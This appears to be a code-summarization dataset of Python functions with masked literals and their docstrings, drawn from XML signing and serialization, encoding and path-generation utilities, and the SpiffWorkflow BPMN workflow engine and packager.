{"signature": "def verify(xml, stream):", "body": "<EOL>import xmlsec<EOL>signature_node = xmlsec.tree.find_node(xml, xmlsec.Node.SIGNATURE)<EOL>if signature_node is None:<EOL><INDENT>return False<EOL><DEDENT>ctx = xmlsec.SignatureContext()<EOL>ctx.register_id(xml)<EOL>for assertion in xml.xpath(\"<STR_LIT>\"):<EOL><INDENT>ctx.register_id(assertion)<EOL><DEDENT>key = None<EOL>for fmt in [<EOL>xmlsec.KeyFormat.PEM,<EOL>xmlsec.KeyFormat.CERT_PEM]:<EOL><INDENT>stream.seek(<NUM_LIT:0>)<EOL>try:<EOL><INDENT>key = xmlsec.Key.from_memory(stream, fmt)<EOL>break<EOL><DEDENT>except ValueError:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>ctx.key = key<EOL>try:<EOL><INDENT>ctx.verify(signature_node)<EOL>return True<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Verify the signaure of an XML document with the given certificate.\nReturns `True` if the document is signed with a valid signature.\nReturns `False` if the document is not signed or if the signature is\ninvalid.\n\n:param lxml.etree._Element xml: The document to sign\n:param file stream: The private key to sign the document with\n\n:rtype: Boolean", "id": "f7640:m1"}
{"signature": "def __init__(self, meta, name, data, bases):", "body": "<EOL>self.name = meta.get('<STR_LIT:name>')<EOL>if self.name is None:<EOL><INDENT>self.name = pascalize(name)<EOL><DEDENT>self.namespace = meta.get('<STR_LIT>')<EOL>self.signature_index = meta.get('<STR_LIT>', <NUM_LIT:1>)<EOL>", "docstring": "Initializes the options object and defaults configuration not\nspecified.", "id": "f7644:c0:m0"}
{"signature": "def prepare(self):", "body": "<EOL>attributes, elements = OrderedDict(), []<EOL>nsmap = dict([self.meta.namespace])<EOL>for name, item in self._items.items():<EOL><INDENT>if isinstance(item, Attribute):<EOL><INDENT>attributes[name] = item.prepare(self)<EOL><DEDENT>elif isinstance(item, Element):<EOL><INDENT>nsmap.update([item.namespace])<EOL>elements.append(item)<EOL><DEDENT><DEDENT>return attributes, elements, nsmap<EOL>", "docstring": "Prepare the date in the instance state for serialization.", "id": "f7644:c5:m2"}
{"signature": "def serialize(self):", "body": "<EOL>return self._serialize_item(self)<EOL>", "docstring": "Serializes the data in the instance state as an\nXML representation.", "id": "f7644:c5:m5"}
{"signature": "def norm_encoding(name):", "body": "return codecs.lookup(name).name<EOL>", "docstring": "Normalizes an encoding name.", "id": "f7653:m1"}
{"signature": "def single_byte_full_encoding(encoding):", "body": "if PY3:<EOL><INDENT>bytes_ = map(lambda i: bytes([i]), range(<NUM_LIT:0>, <NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>bytes_ = map(chr, range(<NUM_LIT:0>, <NUM_LIT>))<EOL><DEDENT>for byte in bytes_:<EOL><INDENT>try:<EOL><INDENT>byte.decode(encoding)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Whether the encoding can decode all byte values (e.g. latin1)", "id": "f7653:m2"}
{"signature": "def fspath(p):", "body": "try:<EOL><INDENT>return os.fspath(p)<EOL><DEDENT>except AttributeError:<EOL><INDENT>return p<EOL><DEDENT>", "docstring": "Like os.fspath but for Python <= 3.6.", "id": "f7653:m3"}
{"signature": "@composite<EOL>def _filename(draw, result_type=None):", "body": "<EOL>ascii_char = characters(min_codepoint=<NUM_LIT>, max_codepoint=<NUM_LIT>)<EOL>if os.name == '<STR_LIT>':  <EOL><INDENT>surrogate = characters(<EOL>min_codepoint=<NUM_LIT>, max_codepoint=<NUM_LIT>)<EOL>uni_char = characters(min_codepoint=<NUM_LIT>)<EOL>text_strategy = text(<EOL>alphabet=one_of(uni_char, surrogate, ascii_char))<EOL>def text_to_bytes(path):<EOL><INDENT>fs_enc = sys.getfilesystemencoding()<EOL>try:<EOL><INDENT>return path.encode(fs_enc, '<STR_LIT>')<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>return path.encode(fs_enc, '<STR_LIT:replace>')<EOL><DEDENT><DEDENT>bytes_strategy = text_strategy.map(text_to_bytes)<EOL><DEDENT>else:<EOL><INDENT>latin_char = characters(min_codepoint=<NUM_LIT>, max_codepoint=<NUM_LIT>)<EOL>bytes_strategy = text(alphabet=one_of(latin_char, ascii_char)).map(<EOL>lambda t: t.encode('<STR_LIT>'))<EOL>unix_path_text = bytes_strategy.map(<EOL>lambda b: b.decode(<EOL>sys.getfilesystemencoding(),<EOL>'<STR_LIT>' if PY3 else '<STR_LIT:ignore>'))<EOL>text_strategy = permutations(draw(unix_path_text)).map(u\"<STR_LIT>\".join)<EOL><DEDENT>if result_type is None:<EOL><INDENT>return draw(one_of(bytes_strategy, text_strategy))<EOL><DEDENT>elif result_type is bytes:<EOL><INDENT>return draw(bytes_strategy)<EOL><DEDENT>else:<EOL><INDENT>return draw(text_strategy)<EOL><DEDENT>", "docstring": "Generate a path value of type result_type.\n\n    result_type can either be bytes or text_type", "id": "f7654:m0"}
{"signature": "def _str_to_path(s, result_type):", "body": "assert isinstance(s, str)<EOL>if isinstance(s, bytes) and result_type is text_type:<EOL><INDENT>return s.decode('<STR_LIT:ascii>')<EOL><DEDENT>elif isinstance(s, text_type) and result_type is bytes:<EOL><INDENT>return s.encode('<STR_LIT:ascii>')<EOL><DEDENT>return s<EOL>", "docstring": "Given an ASCII str, returns a path of the given type.", "id": "f7654:m1"}
{"signature": "@composite<EOL>def _path_root(draw, result_type):", "body": "<EOL>def tp(s='<STR_LIT>'):<EOL><INDENT>return _str_to_path(s, result_type)<EOL><DEDENT>if os.name != '<STR_LIT>':<EOL><INDENT>return tp(os.sep)<EOL><DEDENT>sep = sampled_from([os.sep, os.altsep or os.sep]).map(tp)<EOL>name = _filename(result_type)<EOL>char = characters(min_codepoint=ord(\"<STR_LIT:A>\"), max_codepoint=ord(\"<STR_LIT:z>\")).map(<EOL>lambda c: tp(str(c)))<EOL>relative = sep<EOL>drive = builds(lambda *x: tp().join(x), char, just(tp('<STR_LIT::>')), sep)<EOL>extended = builds(<EOL>lambda *x: tp().join(x), sep, sep, just(tp('<STR_LIT:?>')), sep, drive)<EOL>network = one_of([<EOL>builds(lambda *x: tp().join(x), sep, sep, name, sep, name, sep),<EOL>builds(lambda *x: tp().join(x),<EOL>sep, sep, just(tp('<STR_LIT:?>')), sep, name, sep, name, sep),<EOL>builds(lambda *x: tp().join(x),<EOL>sep, sep, just(tp('<STR_LIT:?>')), sep, just(tp('<STR_LIT>')), sep, name, sep,<EOL>name, sep),<EOL>builds(lambda *x: tp().join(x),<EOL>sep, sep, just(tp('<STR_LIT:.>')), sep, name, sep),<EOL>])<EOL>final = one_of(relative, drive, extended, network)<EOL>return draw(final)<EOL>", "docstring": "Generates a root component for a path.", "id": "f7654:m2"}
{"signature": "@defines_strategy<EOL>@composite<EOL>def fspaths(draw, allow_pathlike=None):", "body": "has_pathlike = hasattr(os, '<STR_LIT>')<EOL>if allow_pathlike is None:<EOL><INDENT>allow_pathlike = has_pathlike<EOL><DEDENT>if allow_pathlike and not has_pathlike:<EOL><INDENT>raise InvalidArgument(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>result_type = draw(sampled_from([bytes, text_type]))<EOL>def tp(s='<STR_LIT>'):<EOL><INDENT>return _str_to_path(s, result_type)<EOL><DEDENT>special_component = sampled_from([tp(os.curdir), tp(os.pardir)])<EOL>normal_component = _filename(result_type)<EOL>path_component = one_of(normal_component, special_component)<EOL>extension = normal_component.map(lambda f: tp(os.extsep) + f)<EOL>root = _path_root(result_type)<EOL>def optional(st):<EOL><INDENT>return one_of(st, just(result_type()))<EOL><DEDENT>sep = sampled_from([os.sep, os.altsep or os.sep]).map(tp)<EOL>path_part = builds(lambda s, l: s.join(l), sep, lists(path_component))<EOL>main_strategy = builds(lambda *x: tp().join(x),<EOL>optional(root), path_part, optional(extension))<EOL>if allow_pathlike and hasattr(os, '<STR_LIT>'):<EOL><INDENT>pathlike_strategy = main_strategy.map(lambda p: _PathLike(p))<EOL>main_strategy = one_of(main_strategy, pathlike_strategy)<EOL><DEDENT>return draw(main_strategy)<EOL>", "docstring": "A strategy which generates filesystem path values.\n\n    The generated values include everything which the builtin\n    :func:`python:open` function accepts i.e. which won't lead to\n    :exc:`ValueError` or :exc:`TypeError` being raised.\n\n    Note that the range of the returned values depends on the operating\n    system, the Python version, and the filesystem encoding as returned by\n    :func:`sys.getfilesystemencoding`.\n\n    :param allow_pathlike:\n        If :obj:`python:None` makes the strategy include objects implementing\n        the :class:`python:os.PathLike` interface when Python >= 3.6 is used.\n        If :obj:`python:False` no pathlike objects will be generated. If\n        :obj:`python:True` pathlike will be generated (Python >= 3.6 required)\n\n    :type allow_pathlike: :obj:`python:bool` or :obj:`python:None`\n\n    .. versionadded:: 3.15", "id": "f7654:m3"}
{"signature": "def correlate_class(theclass):", "body": "if not hasattr(theclass, '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>for name, value in list(theclass.CORRELATE.__dict__.items()):<EOL><INDENT>if not isfunction(value):<EOL><INDENT>continue<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>elif name.startswith('<STR_LIT:_>'):<EOL><INDENT>continue<EOL><DEDENT>testname = re.sub(r'<STR_LIT>',  uppercase, name)<EOL>testname = re.sub(r'<STR_LIT>', uppercase, testname)<EOL>testname = '<STR_LIT:test>' + re.sub(r'<STR_LIT>', uppercase, testname)<EOL>testmethod = theclass.__name__ + '<STR_LIT:.>' + testname<EOL>method = theclass.CORRELATE.__name__ + '<STR_LIT:.>' + name<EOL>both = testmethod + '<STR_LIT>' + method + '<STR_LIT:)>'<EOL>if testname in dir(theclass):<EOL><INDENT>continue<EOL><DEDENT>if ismodule(theclass.CORRELATE) andvalue.__module__ != theclass.CORRELATE.__name__:<EOL><INDENT>continue  <EOL><DEDENT>if both in correlated:<EOL><INDENT>continue<EOL><DEDENT>correlated[both] = True<EOL>if ismodule(theclass.CORRELATE):<EOL><INDENT>sys.stderr.write('<STR_LIT>' + both + '<STR_LIT:\\n>')<EOL><DEDENT>elif isclass(theclass.CORRELATE):<EOL><INDENT>sys.stderr.write('<STR_LIT>' + both + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "Checks the given testcase for missing test methods.", "id": "f7680:m1"}
{"signature": "def correlate_module(module):", "body": "for name, item in list(module.__dict__.items()):<EOL><INDENT>if isclass(item):<EOL><INDENT>correlate_class(item)<EOL><DEDENT><DEDENT>", "docstring": "Checks all testcases in the module for missing test methods.", "id": "f7680:m2"}
{"signature": "def __init__(self, workflow_spec, deserializing=False, **kwargs):", "body": "assert workflow_spec is not None<EOL>LOG.debug(\"<STR_LIT>\" % self.__str__())<EOL>self.spec = workflow_spec<EOL>self.data = {}<EOL>self.outer_workflow = kwargs.get('<STR_LIT>', self)<EOL>self.locks = {}<EOL>self.last_task = None<EOL>if deserializing:<EOL><INDENT>assert '<STR_LIT>' in workflow_spec.task_specs<EOL>root = workflow_spec.task_specs['<STR_LIT>']  <EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in workflow_spec.task_specs:<EOL><INDENT>root = workflow_spec.task_specs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>root = specs.Simple(workflow_spec, '<STR_LIT>')<EOL><DEDENT><DEDENT>self.task_tree = Task(self, root)<EOL>self.success = True<EOL>self.debug = False<EOL>self.completed_event = Event()<EOL>self.task_tree.state = Task.COMPLETED<EOL>start = self.task_tree._add_child(self.spec.start, state=Task.FUTURE)<EOL>self.spec.start._predict(start)<EOL>if '<STR_LIT>' not in kwargs:<EOL><INDENT>start.task_spec._update(start)<EOL><DEDENT>", "docstring": "Constructor.\n\n:type workflow_spec: specs.WorkflowSpec\n:param workflow_spec: The workflow specification.\n:type deserializing: bool\n:param deserializing: set to true when deserializing to avoid\n  generating tasks twice (and associated problems with multiple\n  hierarchies of tasks)", "id": "f7705:c0:m0"}
{"signature": "def is_completed(self):", "body": "mask = Task.NOT_FINISHED_MASK<EOL>iter = Task.Iterator(self.task_tree, mask)<EOL>try:<EOL><INDENT>next(iter)<EOL><DEDENT>except StopIteration:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Returns True if the entire Workflow is completed, False otherwise.\n\n:rtype: bool\n:return: Whether the workflow is completed.", "id": "f7705:c0:m1"}
{"signature": "def get_data(self, name, default=None):", "body": "return self.data.get(name, default)<EOL>", "docstring": "Returns the value of the data field with the given name, or the given\ndefault value if the data field does not exist.\n\n:type  name: str\n:param name: A data field name.\n:type  default: obj\n:param default: Return this value if the data field does not exist.\n:rtype:  obj\n:returns: The value of the data field.", "id": "f7705:c0:m5"}
{"signature": "def cancel(self, success=False):", "body": "self.success = success<EOL>cancel = []<EOL>mask = Task.NOT_FINISHED_MASK<EOL>for task in Task.Iterator(self.task_tree, mask):<EOL><INDENT>cancel.append(task)<EOL><DEDENT>for task in cancel:<EOL><INDENT>task.cancel()<EOL><DEDENT>", "docstring": "Cancels all open tasks in the workflow.\n\n:type  success: bool\n:param success: Whether the Workflow should be marked as successfully\n                completed.", "id": "f7705:c0:m6"}
{"signature": "def get_task_spec_from_name(self, name):", "body": "return self.spec.get_task_spec_from_name(name)<EOL>", "docstring": "Returns the task spec with the given name.\n\n:type  name: str\n:param name: The name of the task.\n:rtype:  TaskSpec\n:returns: The task spec with the given name.", "id": "f7705:c0:m7"}
{"signature": "def get_task(self, id):", "body": "tasks = [task for task in self.get_tasks() if task.id == id]<EOL>return tasks[<NUM_LIT:0>] if len(tasks) == <NUM_LIT:1> else None<EOL>", "docstring": "Returns the task with the given id.\n\n:type id:integer\n:param id: The id of a task.\n:rtype: Task\n:returns: The task with the given id.", "id": "f7705:c0:m8"}
{"signature": "def get_tasks_from_spec_name(self, name):", "body": "return [task for task in self.get_tasks()<EOL>if task.task_spec.name == name]<EOL>", "docstring": "Returns all tasks whose spec has the given name.\n\n:type name: str\n:param name: The name of a task spec.\n:rtype: Task\n:return: The task that relates to the spec with the given name.", "id": "f7705:c0:m9"}
{"signature": "def get_tasks(self, state=Task.ANY_MASK):", "body": "return [t for t in Task.Iterator(self.task_tree, state)]<EOL>", "docstring": "Returns a list of Task objects with the given state.\n\n:type  state: integer\n:param state: A bitmask of states.\n:rtype:  list[Task]\n:returns: A list of tasks.", "id": "f7705:c0:m10"}
{"signature": "def complete_task_from_id(self, task_id):", "body": "if task_id is None:<EOL><INDENT>raise WorkflowException(self.spec, '<STR_LIT>')<EOL><DEDENT>for task in self.task_tree:<EOL><INDENT>if task.id == task_id:<EOL><INDENT>return task.complete()<EOL><DEDENT><DEDENT>msg = '<STR_LIT>' % task_id<EOL>raise WorkflowException(self.spec, msg)<EOL>", "docstring": "Runs the task with the given id.\n\n:type  task_id: integer\n:param task_id: The id of the Task object.", "id": "f7705:c0:m11"}
{"signature": "def complete_next(self, pick_up=True, halt_on_manual=True):", "body": "<EOL>blacklist = []<EOL>if pick_up and self.last_task is not None:<EOL><INDENT>try:<EOL><INDENT>iter = Task.Iterator(self.last_task, Task.READY)<EOL>task = next(iter)<EOL><DEDENT>except StopIteration:<EOL><INDENT>task = None<EOL><DEDENT>self.last_task = None<EOL>if task is not None:<EOL><INDENT>if not (halt_on_manual and task.task_spec.manual):<EOL><INDENT>if task.complete():<EOL><INDENT>self.last_task = task<EOL>return True<EOL><DEDENT><DEDENT>blacklist.append(task)<EOL><DEDENT><DEDENT>for task in Task.Iterator(self.task_tree, Task.READY):<EOL><INDENT>for blacklisted_task in blacklist:<EOL><INDENT>if task._is_descendant_of(blacklisted_task):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if not (halt_on_manual and task.task_spec.manual):<EOL><INDENT>if task.complete():<EOL><INDENT>self.last_task = task<EOL>return True<EOL><DEDENT><DEDENT>blacklist.append(task)<EOL><DEDENT>for task in Task.Iterator(self.task_tree, Task.WAITING):<EOL><INDENT>task.task_spec._update(task)<EOL>if not task._has_state(Task.WAITING):<EOL><INDENT>self.last_task = task<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Runs the next task.\nReturns True if completed, False otherwise.\n\n:type  pick_up: bool\n:param pick_up: When True, this method attempts to choose the next\n                task not by searching beginning at the root, but by\n                searching from the position at which the last call\n                of complete_next() left off.\n:type  halt_on_manual: bool\n:param halt_on_manual: When True, this method will not attempt to\n                complete any tasks that have manual=True.\n                See :meth:`SpiffWorkflow.specs.TaskSpec.__init__`\n:rtype:  bool\n:returns: True if all tasks were completed, False otherwise.", "id": "f7705:c0:m12"}
{"signature": "def complete_all(self, pick_up=True, halt_on_manual=True):", "body": "while self.complete_next(pick_up, halt_on_manual):<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Runs all branches until completion. This is a convenience wrapper\naround :meth:`complete_next`, and the pick_up argument is passed\nalong.\n\n:type  pick_up: bool\n:param pick_up: Passed on to each call of complete_next().\n:type  halt_on_manual: bool\n:param halt_on_manual: When True, this method will not attempt to\n                complete any tasks that have manual=True.\n                See :meth:`SpiffWorkflow.specs.TaskSpec.__init__`", "id": "f7705:c0:m13"}
{"signature": "def get_dump(self):", "body": "return self.task_tree.get_dump()<EOL>", "docstring": "Returns a complete dump of the current internal task tree for\ndebugging.\n\n:rtype:  str\n:returns: The debug information.", "id": "f7705:c0:m14"}
{"signature": "def dump(self):", "body": "print(self.task_tree.dump())<EOL>", "docstring": "Like :meth:`get_dump`, but prints the output to the terminal instead\nof returning it.", "id": "f7705:c0:m15"}
{"signature": "def serialize(self, serializer, **kwargs):", "body": "return serializer.serialize_workflow(self, **kwargs)<EOL>", "docstring": "Serializes a Workflow instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:type  kwargs: dict\n:param kwargs: Passed to the serializer.\n:rtype:  object\n:returns: The serialized workflow.", "id": "f7705:c0:m16"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, s_state, **kwargs):<DEDENT>", "body": "return serializer.deserialize_workflow(s_state, **kwargs)<EOL>", "docstring": "Deserializes a Workflow instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:type  s_state: object\n:param s_state: The serialized workflow.\n:type  kwargs: dict\n:param kwargs: Passed to the serializer.\n:rtype:  Workflow\n:returns: The workflow instance.", "id": "f7705:c0:m17"}
{"signature": "def __init__(self, workflow_spec, name=None, script_engine=None,<EOL>read_only=False, **kwargs):", "body": "super(BpmnWorkflow, self).__init__(workflow_spec, **kwargs)<EOL>self.name = name or workflow_spec.name<EOL>self.script_engine = script_engine or BpmnScriptEngine()<EOL>self._busy_with_restore = False<EOL>self.read_only = read_only<EOL>", "docstring": "Constructor.\n\n:param script_engine: set to an instance of BpmnScriptEngine if you\nneed a specialised version. Defaults to a new BpmnScriptEngine\ninstance.\n\n:param read_only: If this parameter is set then the workflow state\ncannot change. It can only be queried to find out about the current\nstate. This is used in conjunction with the CompactWorkflowSerializer\nto provide read only access to a previously saved workflow.", "id": "f7706:c0:m0"}
{"signature": "def accept_message(self, message):", "body": "assert not self.read_only<EOL>self.refresh_waiting_tasks()<EOL>self.do_engine_steps()<EOL>for my_task in Task.Iterator(self.task_tree, Task.WAITING):<EOL><INDENT>my_task.task_spec.accept_message(my_task, message)<EOL><DEDENT>", "docstring": "Indicate to the workflow that a message has been received. The message\nwill be processed by any waiting Intermediate or Boundary Message\nEvents, that are waiting for the message.", "id": "f7706:c0:m1"}
{"signature": "def do_engine_steps(self):", "body": "assert not self.read_only<EOL>engine_steps = list(<EOL>[t for t in self.get_tasks(Task.READY)<EOL>if self._is_engine_task(t.task_spec)])<EOL>while engine_steps:<EOL><INDENT>for task in engine_steps:<EOL><INDENT>task.complete()<EOL><DEDENT>engine_steps = list(<EOL>[t for t in self.get_tasks(Task.READY)<EOL>if self._is_engine_task(t.task_spec)])<EOL><DEDENT>", "docstring": "Execute any READY tasks that are engine specific (for example, gateways\nor script tasks). This is done in a loop, so it will keep completing\nthose tasks until there are only READY User tasks, or WAITING tasks\nleft.", "id": "f7706:c0:m2"}
{"signature": "def refresh_waiting_tasks(self):", "body": "assert not self.read_only<EOL>for my_task in self.get_tasks(Task.WAITING):<EOL><INDENT>my_task.task_spec._update(my_task)<EOL><DEDENT>", "docstring": "Refresh the state of all WAITING tasks. This will, for example, update\nCatching Timer Events whose waiting time has passed.", "id": "f7706:c0:m3"}
{"signature": "def get_ready_user_tasks(self):", "body": "return [t for t in self.get_tasks(Task.READY)<EOL>if not self._is_engine_task(t.task_spec)]<EOL>", "docstring": "Returns a list of User Tasks that are READY for user action", "id": "f7706:c0:m4"}
{"signature": "def get_waiting_tasks(self):", "body": "return self.get_tasks(Task.WAITING)<EOL>", "docstring": "Returns a list of all WAITING tasks", "id": "f7706:c0:m5"}
{"signature": "def deserialize_workflow_spec(self, s_state, filename=None):", "body": "if isinstance(s_state, (str, bytes)):<EOL><INDENT>s_state = BytesIO(s_state)<EOL><DEDENT>package_zip = zipfile.ZipFile(<EOL>s_state, \"<STR_LIT:r>\", compression=zipfile.ZIP_DEFLATED)<EOL>config = configparser.ConfigParser()<EOL>ini_fp = TextIOWrapper(<EOL>package_zip.open(Packager.METADATA_FILE), encoding=\"<STR_LIT>\")<EOL>try:<EOL><INDENT>config.read_file(ini_fp)<EOL><DEDENT>finally:<EOL><INDENT>ini_fp.close()<EOL><DEDENT>parser_class = BpmnParser<EOL>try:<EOL><INDENT>parser_class_module = config.get(<EOL>'<STR_LIT>', '<STR_LIT>', fallback=None)<EOL><DEDENT>except TypeError:<EOL><INDENT>parser_class_module = config.get(<EOL>'<STR_LIT>', '<STR_LIT>', None)<EOL><DEDENT>if parser_class_module:<EOL><INDENT>mod = __import__(parser_class_module, fromlist=[<EOL>config.get('<STR_LIT>', '<STR_LIT>')])<EOL>parser_class = getattr(mod, config.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>parser = parser_class()<EOL>for info in package_zip.infolist():<EOL><INDENT>parts = os.path.split(info.filename)<EOL>if (len(parts) == <NUM_LIT:2> and<EOL>not parts[<NUM_LIT:0>] and parts[<NUM_LIT:1>].lower().endswith('<STR_LIT>')):<EOL><INDENT>try:<EOL><INDENT>svg = package_zip.read(info.filename[:-<NUM_LIT:5>] + '<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>svg = None<EOL><DEDENT>bpmn_fp = package_zip.open(info)<EOL>try:<EOL><INDENT>bpmn = ET.parse(bpmn_fp)<EOL><DEDENT>finally:<EOL><INDENT>bpmn_fp.close()<EOL><DEDENT>parser.add_bpmn_xml(<EOL>bpmn, svg=svg,<EOL>filename='<STR_LIT>' % (filename, info.filename))<EOL><DEDENT><DEDENT>return parser.get_spec(config.get('<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": ":param s_state: a byte-string with the contents of the packaged\nworkflow archive, or a file-like object.\n\n:param filename: the name of the package file.", "id": "f7708:c0:m3"}
{"signature": "def main(packager_class=None):", "body": "if not packager_class:<EOL><INDENT>packager_class = Packager<EOL><DEDENT>packager_class.main()<EOL>", "docstring": ":param packager_class: The Packager class to use. Default: Packager.", "id": "f7709:m1"}
{"signature": "def __init__(self, package_file, entry_point_process, meta_data=None,<EOL>editor=None):", "body": "self.package_file = package_file<EOL>self.entry_point_process = entry_point_process<EOL>self.parser = self.PARSER_CLASS()<EOL>self.meta_data = meta_data or []<EOL>self.input_files = []<EOL>self.input_path_prefix = None<EOL>self.editor = editor<EOL>self.manifest = {}<EOL>", "docstring": "Constructor.\n\n:param package_file: a file-like object where the contents of the\npackage must be written to\n\n:param entry_point_process: the name or ID of the entry point process\n\n:param meta_data: A list of meta-data tuples to include in the\nmetadata.ini file (in addition to the standard ones)\n\n:param editor: The name of the editor used to create the source BPMN /\nSVG files. This activates additional hook method calls. (optional)", "id": "f7709:c0:m0"}
{"signature": "def add_bpmn_file(self, filename):", "body": "self.add_bpmn_files([filename])<EOL>", "docstring": "Add the given BPMN filename to the packager's set.", "id": "f7709:c0:m1"}
{"signature": "def add_bpmn_files_by_glob(self, g):", "body": "self.add_bpmn_files(glob.glob(g))<EOL>", "docstring": "Add all filenames matching the provided pattern (e.g. *.bpmn) to the\npackager's set.", "id": "f7709:c0:m2"}
{"signature": "def add_bpmn_files(self, filenames):", "body": "self.input_files += filenames<EOL>", "docstring": "Add all filenames in the given list to the packager's set.", "id": "f7709:c0:m3"}
{"signature": "def create_package(self):", "body": "<EOL>self.input_path_prefix = None<EOL>for filename in self.input_files:<EOL><INDENT>if not os.path.isfile(filename):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % filename)<EOL><DEDENT>if self.input_path_prefix:<EOL><INDENT>full = os.path.abspath(os.path.dirname(filename))<EOL>while not (full.startswith(self.input_path_prefix) and<EOL>self.input_path_prefix):<EOL><INDENT>self.input_path_prefix = self.input_path_prefix[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.input_path_prefix = os.path.abspath(<EOL>os.path.dirname(filename))<EOL><DEDENT><DEDENT>self.bpmn = {}<EOL>for filename in self.input_files:<EOL><INDENT>bpmn = ET.parse(filename)<EOL>self.bpmn[os.path.abspath(filename)] = bpmn<EOL><DEDENT>for filename, bpmn in list(self.bpmn.items()):<EOL><INDENT>bpmn = self.pre_parse_and_validate(bpmn, filename)<EOL>self.bpmn[os.path.abspath(filename)] = bpmn<EOL><DEDENT>for filename, bpmn in list(self.bpmn.items()):<EOL><INDENT>self.parser.add_bpmn_xml(bpmn, filename=filename)<EOL><DEDENT>self.wf_spec = self.parser.get_spec(self.entry_point_process)<EOL>self.package_zip = zipfile.ZipFile(<EOL>self.package_file, \"<STR_LIT:w>\", compression=zipfile.ZIP_DEFLATED)<EOL>done_files = set()<EOL>for spec in self.wf_spec.get_specs_depth_first():<EOL><INDENT>filename = spec.file<EOL>if filename not in done_files:<EOL><INDENT>done_files.add(filename)<EOL>bpmn = self.bpmn[os.path.abspath(filename)]<EOL>self.write_to_package_zip(<EOL>\"<STR_LIT>\" % spec.name, ET.tostring(bpmn.getroot()))<EOL>self.write_file_to_package_zip(<EOL>\"<STR_LIT>\" + self._get_zip_path(filename), filename)<EOL>self._call_editor_hook('<STR_LIT>', spec, filename)<EOL><DEDENT><DEDENT>self.write_meta_data()<EOL>self.write_manifest()<EOL>self.package_zip.close()<EOL>", "docstring": "Creates the package, writing the data out to the provided file-like\nobject.", "id": "f7709:c0:m4"}
{"signature": "def write_file_to_package_zip(self, filename, src_filename):", "body": "f = open(src_filename)<EOL>with f:<EOL><INDENT>data = f.read()<EOL><DEDENT>self.manifest[filename] = md5hash(data)<EOL>self.package_zip.write(src_filename, filename)<EOL>", "docstring": "Writes a local file in to the zip file and adds it to the manifest\ndictionary\n\n:param filename: The zip file name\n\n:param src_filename: the local file name", "id": "f7709:c0:m5"}
{"signature": "def write_to_package_zip(self, filename, data):", "body": "self.manifest[filename] = md5hash(data)<EOL>self.package_zip.writestr(filename, data)<EOL>", "docstring": "Writes data to the zip file and adds it to the manifest dictionary\n\n:param filename: The zip file name\n\n:param data: the data", "id": "f7709:c0:m6"}
{"signature": "def write_manifest(self):", "body": "config = configparser.ConfigParser()<EOL>config.add_section('<STR_LIT>')<EOL>for f in sorted(self.manifest.keys()):<EOL><INDENT>config.set('<STR_LIT>', f.replace(<EOL>'<STR_LIT:\\\\>', '<STR_LIT:/>').lower(), self.manifest[f])<EOL><DEDENT>ini = StringIO()<EOL>config.write(ini)<EOL>self.manifest_data = ini.getvalue()<EOL>self.package_zip.writestr(self.MANIFEST_FILE, self.manifest_data)<EOL>", "docstring": "Write the manifest content to the zip file. It must be a predictable\norder.", "id": "f7709:c0:m7"}
{"signature": "def pre_parse_and_validate(self, bpmn, filename):", "body": "bpmn = self._call_editor_hook(<EOL>'<STR_LIT>', bpmn, filename) or bpmn<EOL>return bpmn<EOL>", "docstring": "A subclass can override this method to provide additional parseing or\nvalidation. It should call the parent method first.\n\n:param bpmn: an lxml tree of the bpmn content\n\n:param filename: the source file name\n\nThis must return the updated bpmn object (or a replacement)", "id": "f7709:c0:m8"}
{"signature": "def pre_parse_and_validate_signavio(self, bpmn, filename):", "body": "self._check_for_disconnected_boundary_events_signavio(bpmn, filename)<EOL>self._fix_call_activities_signavio(bpmn, filename)<EOL>return bpmn<EOL>", "docstring": "This is the Signavio specific editor hook for pre-parsing and\nvalidation.\n\nA subclass can override this method to provide additional parseing or\nvalidation. It should call the parent method first.\n\n:param bpmn: an lxml tree of the bpmn content\n\n:param filename: the source file name\n\nThis must return the updated bpmn object (or a replacement)", "id": "f7709:c0:m9"}
